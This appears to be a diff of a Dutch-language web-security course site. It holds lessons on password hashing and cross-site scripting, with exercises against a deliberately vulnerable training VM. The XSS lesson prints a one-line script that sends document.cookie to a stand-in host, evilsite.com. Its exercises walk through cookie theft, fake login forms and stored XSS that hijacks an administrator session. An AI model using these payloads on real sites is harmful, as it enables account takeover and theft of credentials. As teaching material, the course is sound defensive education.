2:b10=(_getbyte(s,i)<<16)|(_getbyte(s,i+1)<<8);x.push(_ALPHA.charAt(b10>>18)+_ALPHA.charAt((b10>>12)&63)+_ALPHA.charAt((b10>>6)&63)+_PADCHAR);break}return x.join("")}return{decode:_decode,encode:_encode,VERSION:_VERSION}}(jQuery));

@ -0,0 +1,69 @@
$(function () {
var changed = false;
// Hints
$('.hint').replaceWith(function () {
return '<div><a href="#" class="hintlink" onclick="$(this).next().slideToggle(); return false;">Bekijk hint</a>' + $(this).hide()[0].outerHTML + '</div>';
});
$('#difficulty').change(function (e) {
var option = $(this).find(':selected').val();
$('.hintlink').toggle(option == 'normal');
$('.hint').toggle(option == 'easy');
window.localStorage.setItem('difficulty', option);
});
// Set the selected property
if (window.localStorage['difficulty']) {
var difficulty = window.localStorage['difficulty'];
} else {
var difficulty = 'normal';
}
$('#difficulty option').filter(function () {
return $(this).val() == difficulty;
}).prop('selected', true);
$('#difficulty').trigger('change');
function loadPage(page) {
$('#quiz').load('/' + page + '.html?cachebuster=' + Math.random());
}
function getPage(link) {
if (link.lastIndexOf('?') === -1) {
return '';
}
return link.substring(link.lastIndexOf('?') + 1);
}
// Dynamically load pages
$('#menu a').click(function (e, element) {
var page = getPage(e.target.href);
window.history.pushState({ page: page }, 'Security', e.target.href);
loadPage(page);
e.preventDefault();
});
window.onpopstate = function (event) {
if (event.state) {
loadPage(event.state.page);
} else {
window.location.href = '/';
}
}
// Load page
var page = getPage(window.location.href);
if (page !== '') {
loadPage(page);
} else {
loadPage('sql');
}
});

File diff suppressed because one or more lines are too long

@ -0,0 +1,17 @@
-----BEGIN PGP MESSAGE-----
owEBXgKh/ZANAwACAdVV8vX6nhxaAawuYglwbGFpbi50eHRVdLQaVGhlIE5hcndo
YWwgQmFjb25zIGF0IE1pZG5pZ2h0CokCHAQAAQIABgUCVXS0GgAKCRDVVfL1+p4c
Wl31EACZ0itLnfLQrkFYGEa8DxgG6O101oc350JekBI7mIm1x556M3dIkyDTSqPd
1gY+5wE3iklSnqPAfRSskclQ5SahK7mIjRw8NoCpWGRdFT/2u15lZofqGMV23T1R
hEuxxNlZwcWEWDg2Ixx6OqE836Qm+ITaS12ok5qDZFxj4hd4C7uinAv5CWKIyvwl
l5ZwwWB4p+NT6JxY6p5Pw0J5xPVCE+pAFesPUwAYydQ5CabgdfRyjc6iMQz+GRFD
Qs7kWuZ2JKPWm+2h0UQa38Id66fd4l38x16+rerIEG8XTMlfiXgtCPT9Rkdxb8lD
bZQJefupCPP/EAQnZOPzHFbZ32PaOnp0DTLi641W24rb0hwD2LPHIRh+KPWfwaVl
+1BSEGE3STDjN0CGaTE1KDM5p5TEhML4/LwRucdp+y8c3f1gyWNd8ChnA9aCFr5w
h4FIpE1gAd6XANkVGCIHlZ0Lzxu022zjNFPW2sQeFJy1ZEqBAAwaOlnceztTyx6c
J+TNey4lYy2F4hVn/QxYF5kMUIEw22y4tMmwX4tOVkgg5I0X+mf2Csosbfz7Xsn3
0i4utcTqwmVov3obPQj1QprBeSMXoYSJMyUCO7eIE9eqeGy0uMO6xkG3Z2QGsZNS
aAzu9msSLIc5cQWx9Pva9pafC/sFIyJWudBlf8UEkeIFSll9FQ==
=h6Mi
-----END PGP MESSAGE-----

@ -0,0 +1,389 @@
<h1>Wachtwoorden</h1>
<img src="/static/img/password.png" class="center-block">
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben al gezien dat het niet onmogelijk
is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden
zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is
er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te
<b>hashen</b>.</p>
<h3>Hashfunctie</h3>
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige
uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p>
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> > md5 >
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly="">
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar
ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen
wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk
dat eigenlijk de enige 'praktische' optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op
dezelfde hash (brute-force).</p>
<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker
inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij
hetzelfde wachtwoord ingevuld!</p>
<h3>Rainbow tables</h3>
<p>Zo moeilijk als het is om een hash terug te
<i>rekenen</i>, zo makkelijk is het om een hash terug
<i>
<a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a>
</i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend
en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel
als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze
aanval:</p>
<h3>Salt</h3>
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken
voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat
zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet
al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p>
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%">
<h1>Opdrachten</h1>
<div class="question">
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had
deze gebruiker?</span>
</div>
<div class="question">
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span>
</div>
<h2>Nieuws</h2>
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden
gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de
tabel inzien.</p>
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers
een veelgebruikt wachtwoord.</p>
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p>
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p>
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p>
<div class="question">
<span class="question-string">Wat is het wachtwoord van Pete?</span>
</div>
<div class="question">
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span>
</div>
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier
op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de
site wordt feestelijk weer geopend.</p>
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een
kort fragment van een logbestand terugvinden:</p>
<code class="center-block">
...<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947G'<br>
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947H'<br>
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947I'<br>
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br>
</code>
<div class="question">
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval
te voorkomen.</span>
</div>
<img src="/static/img/password2.jpg" class="center-block">
<script>
function utf8_encode(argString) {
// discuss at: http://phpjs.org/functions/utf8_encode/
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// improved by: sowberry
// improved by: Jack
// improved by: Yves Sucaet
// improved by: kirilloid
// bugfixed by: Onno Marsman
// bugfixed by: Onno Marsman
// bugfixed by: Ulrich
// bugfixed by: Rafal Kukawski
// bugfixed by: kirilloid
// example 1: utf8_encode('Kevin van Zonneveld');
// returns 1: 'Kevin van Zonneveld'
if (argString === null || typeof argString === 'undefined') {
return '';
}
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n");
var string = (argString + '');
var utftext = '',
start, end, stringl = 0;
start = end = 0;
stringl = string.length;
for (var n = 0; n < stringl; n++) {
var c1 = string.charCodeAt(n);
var enc = null;
if (c1 < 128) {
end++;
} else if (c1 > 127 && c1 < 2048) {
enc = String.fromCharCode(
(c1 >> 6) | 192, (c1 & 63) | 128
);
} else if ((c1 & 0xF800) != 0xD800) {
enc = String.fromCharCode(
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
);
} else {
// surrogate pairs
if ((c1 & 0xFC00) != 0xD800) {
throw new RangeError('Unmatched trail surrogate at ' + n);
}
var c2 = string.charCodeAt(++n);
if ((c2 & 0xFC00) != 0xDC00) {
throw new RangeError('Unmatched lead surrogate at ' + (n - 1));
}
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000;
enc = String.fromCharCode(
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
);
}
if (enc !== null) {
if (end > start) {
utftext += string.slice(start, end);
}
utftext += enc;
start = end = n + 1;
}
}
if (end > start) {
utftext += string.slice(start, stringl);
}
return utftext;
}
function md5(str) {
// discuss at: http://phpjs.org/functions/md5/
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
// improved by: Michael White (http://getsprink.com)
// improved by: Jack
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// input by: Brett Zamir (http://brett-zamir.me)
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// depends on: utf8_encode
// example 1: md5('Kevin van Zonneveld');
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9'
var xl;
var rotateLeft = function (lValue, iShiftBits) {
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits));
};
var addUnsigned = function (lX, lY) {
var lX4, lY4, lX8, lY8, lResult;
lX8 = (lX & 0x80000000);
lY8 = (lY & 0x80000000);
lX4 = (lX & 0x40000000);
lY4 = (lY & 0x40000000);
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
if (lX4 & lY4) {
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
}
if (lX4 | lY4) {
if (lResult & 0x40000000) {
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
} else {
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
}
} else {
return (lResult ^ lX8 ^ lY8);
}
};
var _F = function (x, y, z) {
return (x & y) | ((~x) & z);
};
var _G = function (x, y, z) {
return (x & z) | (y & (~z));
};
var _H = function (x, y, z) {
return (x ^ y ^ z);
};
var _I = function (x, y, z) {
return (y ^ (x | (~z)));
};
var _FF = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _GG = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _HH = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _II = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var convertToWordArray = function (str) {
var lWordCount;
var lMessageLength = str.length;
var lNumberOfWords_temp1 = lMessageLength + 8;
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64;
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16;
var lWordArray = new Array(lNumberOfWords - 1);
var lBytePosition = 0;
var lByteCount = 0;
while (lByteCount < lMessageLength) {
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
lBytePosition = (lByteCount % 4) * 8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
lBytePosition = (lByteCount % 4) * 8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition);
lWordArray[lNumberOfWords - 2] = lMessageLength << 3;
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29;
return lWordArray;
};
var wordToHex = function (lValue) {
var wordToHexValue = '',
wordToHexValue_temp = '',
lByte, lCount;
for (lCount = 0; lCount <= 3; lCount++) {
lByte = (lValue >>> (lCount * 8)) & 255;
wordToHexValue_temp = '0' + lByte.toString(16);
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2);
}
return wordToHexValue;
};
var x = [],
k, AA, BB, CC, DD, a, b, c, d, S11 = 7,
S12 = 12,
S13 = 17,
S14 = 22,
S21 = 5,
S22 = 9,
S23 = 14,
S24 = 20,
S31 = 4,
S32 = 11,
S33 = 16,
S34 = 23,
S41 = 6,
S42 = 10,
S43 = 15,
S44 = 21;
str = this.utf8_encode(str);
x = convertToWordArray(str);
a = 0x67452301;
b = 0xEFCDAB89;
c = 0x98BADCFE;
d = 0x10325476;
xl = x.length;
for (k = 0; k < xl; k += 16) {
AA = a;
BB = b;
CC = c;
DD = d;
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453);
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244);
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314);
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1);
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82);
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235);
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB);
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391);
a = addUnsigned(a, AA);
b = addUnsigned(b, BB);
c = addUnsigned(c, CC);
d = addUnsigned(d, DD);
}
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d);
return temp.toLowerCase();
}
</script>

@ -0,0 +1,244 @@
<style>
.screenshot {
box-shadow: 0 0 15px #888;
}
figure {
float: right;
width: 30%;
}
figure img {}
figcaption {
margin-top: 10px;
font-size: smaller;
color: gray;
text-align: center;
}
</style>
<h1>Cross-site Scripting</h1>
<figure>
<img src="/static/img/rabobank.png" class="screenshot">
<figcaption>Iemand heeft
<i>iets</i> veranderd aan de HTML, durf je nog in te loggen?</figcaption>
</figure>
<p>We gaan verder met cross-site scripting, op het web zie je dit vaak afgekort als
<b>XSS</b> (omdat 'CSS' al was gepikt door de bekende stylesheets taal). Bij een XSS aanval probeert de aanvaller een extra
stukje HTML toe te voegen op de pagina. Als iemand onbedoeld extra HTML tags of zelfs Javascript met de &lt;script&gt;
tag kan toevoegen is er sprake van een XSS aanval.</p>
<p>Het gevaar van deze extra HTML is dat het gebruikt kan worden om mensen te misleiden om bijvoorbeeld een formulier met login
gegevens te veranderen zodat die wordt gestuurd naar de server van de aanvaller. Of om Javascript toe te voegen die automatisch
jouw session cookie doorstuurt zodat de aanvaller kan verder surfen in jouw account.</p>
<h3>Reflected</h3>
<figure>
<img class="screenshot" src="/static/img/zoekterm.png">
<figcaption>Informatie uit de URL wordt herhaald in de pagina. Een mogelijke XSS aanval.</figcaption>
</figure>
<p>Bij een reflected attack worden gegevens uit de URL letterlijk weergegeven in de pagina. Gegevens uit de URL printen is iets
wat pagina's regelmatig doen. Denk maar eens aan een zoekpagina waar de queryterm zowel in een GET parameter staat als
op de webpagina zelf.</p>
<p>Als de website zich niet tegen XSS heeft beveiligd kan je via de URL HTML 'injecten' in de pagina en zo op allerlei manieren
de functionaliteit van de pagina veranderen. Het enige wat je hoeft te doen is een gebruiker op jouw URL laten klikken.
Met een beetje javascript magie kan je zelfs de lange URL met HTML er in vervangen door iets wat er onschuldig uitziet.
The perfect crime!</p>
<h3>Stored</h3>
<p>Een andere manier om jouw scriptjes te laten draaien in andermans pagina is via de database. Stel er is een site met een
invoerveld waar een gebruiker wat kan invullen dat wordt opgeslagen in een database (denk aan: forumposts, comments, wiki's).
En stel die informatie wordt later weer aan gebruikers getoond (niet zo'n heel hypothetisch geval, dit beschrijft zo'n
90% van alle websites). Als de site niet goed beveiligd is kan je in de database &lt;script&gt; tags met Javascript opslaan
die vervolgens in de browsers van andere gebruikers kan laten runnen.</p>
<p>Zo'n aanval is vaak veel schadelijker omdat gebruikers dan niet naar een specifieke URL hoeven te gaan om de code uit te
laten voeren, met alleen maar 'normaal' de site te gebruiken zijn ze al de klos.</p>
<h3>Aanvallen</h3>
<h4>HTML toevoegen</h4>
<p>Als je HTML toe kan voegen kan je gebruikers pagina's laten zien die eigenlijk helemaal niet bestaan. Denk bijvoorbeeld aan
een &lt;form&gt; die gebruikers vraagt om persoonlijke details en wachtwoorden. Dit formulier post dan uiteraard naar de
site van de aanvaller zodat deze de gegevens weer kan gebruiken voor zijn eigen doeleinden.</p>
<h4>Javascript toevoegen</h4>
<p>Gevaarlijker is als het mogelijk is Javascript toe te voegen. Vaak doe je dit door een simpele &lt;script&gt; tag toe te
voegen aan de HTML waar je je Javascript in zet. Met Javascript is het mogelijk om cookies en localstorage van de gebruiker
te stelen. Stel bijvoorbeeld eens dat we onderstaande HTML toevoegen aan een pagina:</p>
<p>
<code>&lt;script&gt;document.location.href='http://evilsite.com/logcookie.php?cookie='+document.cookie;&lt;/script&gt;</code>
</p>
<p>Zodra de gebruiker de pagina laad wordt bovenstaande Javascript uitgevoerd. De browser gaat dan automatisch naar de site
van de aanvaller. Met de informatie uit de cookie van de gebruiker. En omdat in de cookie vaak een sessiontoken staat kan
de aanvaller deze cookie gebruiken om de gebruiker na te doen en zijn account over te nemen.</p>
<h3>Countermeasures</h3>
<p>De belangrijkste regel bij websecurity is:
<b>vertrouw nooit input van gebruikers</b>. Ga er van uit dat ze alle mogelijke invoer hebben gevuld met zoveel mogelijk rare
tekens in de hoop dat ze iets voorbij jouw filters krijgen. De oplossing voor dit probleem is dan ook om alle invoer die
je weer weergeeft op de pagina te
<b>escapen</b>.</p>
<p>In HTML kan je dat doen door alle speciale tekens te vervangen door hun HTML entities.
<code>&quot;</code> wordt dan bijvoorbeeld
<code>&amp;quot;</code> en
<code>&lt;</code> wordt
<code>&amp;lt;</code>. Deze entities worden altijd letterlijk weergegeven door de browser en worden nooit als nieuwe tags en attributen gezien.</p>
<p>Let op dat het uitmaakt waar in de HTML je de invoer van de gebruiker plaatst. Stel dat je de site zo geprogrammeerd hebt:</p>
<code>&lt;script&gt;<b>gebruikersinvoer hier</b>&lt;/script&gt;</p></code>
<p>Dan heeft geen enkele escape actie zin meer, het is dan bijna altijd mogelijk om Javascript op je site uit te voeren. Het
zal je verbazen hoeveel sites bijna letterlijk bovenstaande code in zich hebben om 'handig' Javascript variabelen op een
bepaalde waarde te zetten.</p>
<h1>Opdrachten</h1>
<h2>Bank</h2>
<p>We gaan opnieuw kijken naar de Bank website. Ze hebben tijdelijk hun login formulier uitgeschakeld, maar daarmee zijn ze
nog steeds niet veilig van hun beveiligingsproblemen.</p>
<p>Ga naar de
<span class="website">"Bank (xss)"</span> pagina voor de volgende opdrachten.</a>
</p>
<div class="question">
<span class="question-string">Maak een URL die Javascript aan de pagina toevoegd zodat deze 'XSS' in een alert-dialoog weergeeft.</span>
</div>
<div class="question">
<span class="question-string">Maak een URL die een nep inlogformulier laat zien. Bij het verzenden van dit formulier wordt de informatie naar andere
server gestuurd.</span>
</div>
<div class="question">
<span class="question-string">Bekijk de
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/message.php#L38" target="_blank">broncode</a>. Voeg een fix toe om deze aanval te voorkomen.</span>
</div>
<p>Een slimme gebruiker ziet aan de URL nu natuurlijk meteen dat er iets verdachts aan de hand is. Maar het is met een beetje
extra Javascript mogelijk om de URL te veranderen zodat deze er weer onschuldig uitziet.</p>
<p class="hint">
<strong>Hint:</strong> Zoek eens naar
<code>window.history.pushState</code>.</p>
<div class="question">
<span class="question-string">Maak weer een URL die een nep inlogformulier laat zien, en zorg ervoor dat in de adresbalk de URL van de echte inlogpagina
komt te staan.</span>
</div>
<h2>Webshop</h2>
<p>Leaky heeft zijn webshop uitgebreid: je kan nu op de product pagina's doorklikken op de plaatjes voor een grote ingezoomde
afbeelding. Op deze pagina is echter ook een XSS beveiligingslek. Dit is de site
<span class="website">"Webshop (replace)"</span>.</p>
<p>De website heeft nu ook PHP session cookies waar jij als hacker natuurlijk erg in geïnteresseerd bent.</p>
<p>Verander de pagina zodat deze automatisch de cookie naar jouw eigen website toestuurt.</p>
<p class="hint">
<strong>Hint 1:</strong> Bekijk de HTML, zoek naar plekken waar de parameter uit de URL worden gebruikt</p>
<p class="hint">
<strong>Hint 2:</strong> Cookies kan je in JavaScript uitlezen met document.cookie</p>
<p class="hint">
<strong>Hint 3:</strong> Onderzoek het 'onload' attribuut van een img tag in HTML.</p>
<p class="hint">
<strong>Hint 4:</strong> Als de src niet naar een geldige afbeelding wijst zal de onload niet uitgevoerd worden</p>
<p class="hint">
<strong>Hint 5:</strong> Als je in een URL het + tekentje gebruikt wordt dit vertaald naar een spatie. Als je ook echt een + wilt
gebruiken moet je de url encoded versie gebruiken: %2B</p>
<div class="question">
<span class="question-string">Met welke URL kan je de sessie cookies van gebruikers ontfutselen? (Dus doorsturen naar je eigen site)</span>
</div>
<p class="hint">
<strong>Hint:</strong> Op
<a href="http://jdstiles.com/java/cct.html" target="_blank">deze site</a> kan je Javascript zonder quotejes genereren</a>
</p>
<div class="question">
<span class="question-string">Verander de url naar image_zoom_escapehtml.php. Alle speciale HTML tekens (&lt;&gt;"&amp;) zijn nu geëscapet. Maar het
is nog steeds mogelijk om een aanval uit te voeren! Maak een nieuwe URL die de sessie cookie naar je eigen website verstuurd.
Let goed op de quotejes.</span>
</div>
<div class="question">
<span class="question-string">Bekijk de
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/image_zoom_escapehtml.php#L49" target="_blank">broncode</a>. Voeg een simpele fix toe die dit probleem oplost. Je kan dit op twee manieren doen: 1. HTML aanpassen 2.
PHP aanpassen (lees documentatie op
<a href="http://php.net/htmlspecialchars" target="_blank">http://php.net/htmlspecialchars</a> )</span>
</div>
<h2>Nieuws</h2>
<p>We gaan nu een aanval doen op een populaire nieuwssite. Ga naar de
<span class="website">"Nieuws"</span> pagina voor de volgende opdrachten.</p>
<p>Deze site heeft geen plekken waar we via de URL's javascript aan de pagina kunnen toevoegen. Bovendien zijn de administrators
van deze site veel te slim om op rare links te klikken in vage e-mailtjes. We gaan het via een stored XSS attack te doen.
</p>
<p class="hint">1. Voeg via de reacties javascript aan de pagina toe die cookies steelt. Je moet deze cookies nu ook echt naar een eigen
server sturen om de opdracht te kunnen maken. Je kunt hiervoor
<a href="https://requestb.in">Requestbin</a> gebruiken</p>
<p class="hint">2. Je kan nu een ingelogde administrator naar de pagina (met jouw javascript) laten kijken door een melding te maken. Onderaan
de reactiepagina staat een link (je kan ook rechtstreeks naar /nieuws/admincheck.php).</p>
<p class="hint">3. Als het goed is heb je nu de cookie van de administrator gestolen. Verander in de browser jouw eigen cookie naar de cookie
van de administrator. Zoek naar een browserplugin als je dit niet al kan met jouw browser.</p>
<p class="hint">4. Bekijk opnieuw de reactiepagina. Je bent nu ingelogd als de administrator!</p>
<p>Tip: op /nieuws/reset.php is een speciale pagina die al het commentaar wist. Dit is handig als je jouw aanval wil verbeteren.</p>
<p>(Let op dat je de VM op NAT hebt ingesteld zodat deze verbinding kan maken naar het internet)</p>
<div class="question">
<span class="question-string">Wat is de geheime code die alleen administrators kunnen zien?</span>
</div>
<h2>Wereldwijs</h2>
<p>Ga naar de
<span class="website">Wereldwijs (XSS)</span> pagina. Deze site hebben ze helemaal Web 3.0 gemaakt door alle pagina's met Javascript te tonen.
Helaas hebben ze het weer niet zo nauw genomen met de veiligheid en zit er een XSS mogelijkheid in de site. Ga op zoek
in de broncode van de pagina naar manieren om Javascript uit te voeren op de pagina.</p>
<p>Let op: In Firefox werkt deze hack niet</p>
<p class="hint">
<strong>Hint 1: </strong> jQuery wordt op een onveilige manier gebruikt, op internet kan je vinden hoe je dit kan uitbuiten.</p>
<p class="hint">
<strong>Hint 2: </strong> Met de $('') functie van jQuery kan je ook nieuwe DOM elementen maken Bijvoorbeeld: $('&lt;div&gt;').
Deze versie van jQuery vindt het niet erg als daar ook nog een # voorstaat.</p>
<div class="question">
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span>
</div>
Loading…
Cancel
Save